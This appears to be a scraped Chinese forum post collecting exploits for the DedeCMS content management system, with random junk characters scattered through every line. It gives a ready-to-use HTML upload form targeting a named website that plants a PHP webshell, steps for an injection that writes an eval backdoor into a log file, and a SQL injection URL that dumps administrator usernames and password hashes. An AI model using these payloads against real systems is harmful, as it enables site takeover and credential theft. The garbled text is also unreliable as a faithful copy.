$ e+ l' z: u% d7 k4 l<html> E" y' h4 A4 }5 C4 i+ \. e* r
<head>5 B; i6 a3 _5 x, a0 T& C- i2 i
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>4 }' Q" Y* e0 y6 s3 `/ v
</head>1 h0 ^. H* F$ m, X# d! e! x
<body style="FONT-SIZE: 9pt">5 l9 b" L2 B& B( X, q& w
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />* d# O3 c* ?6 p9 Y6 Z3 b
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>! s. E& O9 Q% `9 E3 H
<input type='hidden' name='activepath' value='/data/cache/' />, f( C! R, F0 z
<input type='hidden' name='cfg_basedir' value='../../' />
6 T2 I0 }4 ~5 Y5 B$ |<input type='hidden' name='cfg_imgtype' value='php' />
& Z7 l7 g! [9 ~/ o0 O- S: O5 O4 c<input type='hidden' name='cfg_not_allowall' value='txt' />- f8 A7 Y* h, \: R8 r- N/ Y% _9 P4 S+ I
<input type='hidden' name='cfg_softtype' value='php' />, T3 j3 i! ]* k
<input type='hidden' name='cfg_mediatype' value='php' />
% ^$ F: B b" h ^- f$ e/ L/ C' O* b<input type='hidden' name='f' value='form1.enclosure' />
* I6 O$ b" O. {/ ^, y# E# J# b* X<input type='hidden' name='job' value='upload' />, P" K5 [/ q& c
<input type='hidden' name='newname' value='fly.php' />
/ p6 E# g9 D3 r( x% lSelect U Shell <input type='file' name='uploadfile' size='25' /># E3 ^6 T/ l/ U
<input type='submit' name='sb1' value='确定' />
`- |& h7 @) O1 H</form>! P) O7 I% s7 ?( {* P3 p# I
<br />It's just a exp for the bug of Dedecms V55...<br />- \' Q3 \9 v# X2 f1 L& j9 |& o
Need register_globals = on...<br />; x# Z2 t* k; J D
Fun the game,get a webshell at /data/cache/fly.php...<br />
, E4 J: b# X$ t1 G1 U) b</body>+ S8 X% o) E( v7 c" m5 L; r7 U
</html>
& v. y0 B; q2 z
& n# L+ }4 d. [9 K2 h+ f
+ ?1 N e" }' I W+ k2 Q2 n' J W% a; d G( N
( V) f( c2 x y1 \, k! n- p' ^* A& r( m6 r- ^& S
, Y% ^3 V" V3 g) J" F( i0 ~+ K# t7 F0 A% g" Q+ L& Q2 }+ j
1 g2 z& T( { D; H3 X& r
5 ]- ?) `* T1 E& J8 c5 X. \9 t
$ f( s9 v3 m/ x6 `: x* k: e织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞' Y/ Y( ]! y5 W8 `
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
/ O2 }* l3 B4 a& ~1. 访问网址:+ M5 i9 ~! @- C) Z k& r X8 p
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
9 V h" N/ B2 c" _7 ~& G4 b可看见错误信息
. e! P/ O& u- `! @# ~& |7 v
; V. b8 s5 @$ n |% P. _; h$ t# L2 t" K& f1 j1 O" J: H
2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
4 k" [' K3 n; u& y6 nint(3) Error: Illegal double '1024e1024' value found during parsing% J+ h. k# D5 p; O6 t; T- Z7 C R
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>6 w5 [' G) k/ h
# }- q1 f) G% z/ b
( e5 C/ Y. r6 k3 }) o3. 执行dede.rar里的文件 test.html,注意 form 中 action 的地址是- G" K8 m1 i1 K4 L, x+ v6 ]
, O/ k, m4 J0 W0 D# P
% t; \- W5 {7 a
<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>3 q4 a3 _1 ~9 O* l
. ?! e- G# R& D4 k1 n( b' a
. \2 ~9 R- q O+ T, N+ q7 A按确定后的看到第2步骤的信息表示文件木马上传成功.
% L1 u- B: ~: N: F+ L1 k- `6 B7 B" M! a1 s. \0 g
3 Q/ }7 ^- ]3 {& L3 k5 b& n8 P o
$ ]6 y! m4 @, @2 ?) J6 z7 W% O% \7 U8 k; X. J2 \- a
@& k) e, }5 V% e
. {* o) L7 v$ P, c1 A. K; [
) `; v$ }' m9 w2 D5 X2 ?9 {' `; a
% L$ S$ u( |8 R
9 v% F* @! s* K" I7 N. z
$ v- { y! w7 [4 j
3 }* a5 E" n d/ o. g ?, O) A
织梦(DedeCms)plus/infosearch.php 文件注入漏洞; i: f1 b( y$ E* }
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/* |
|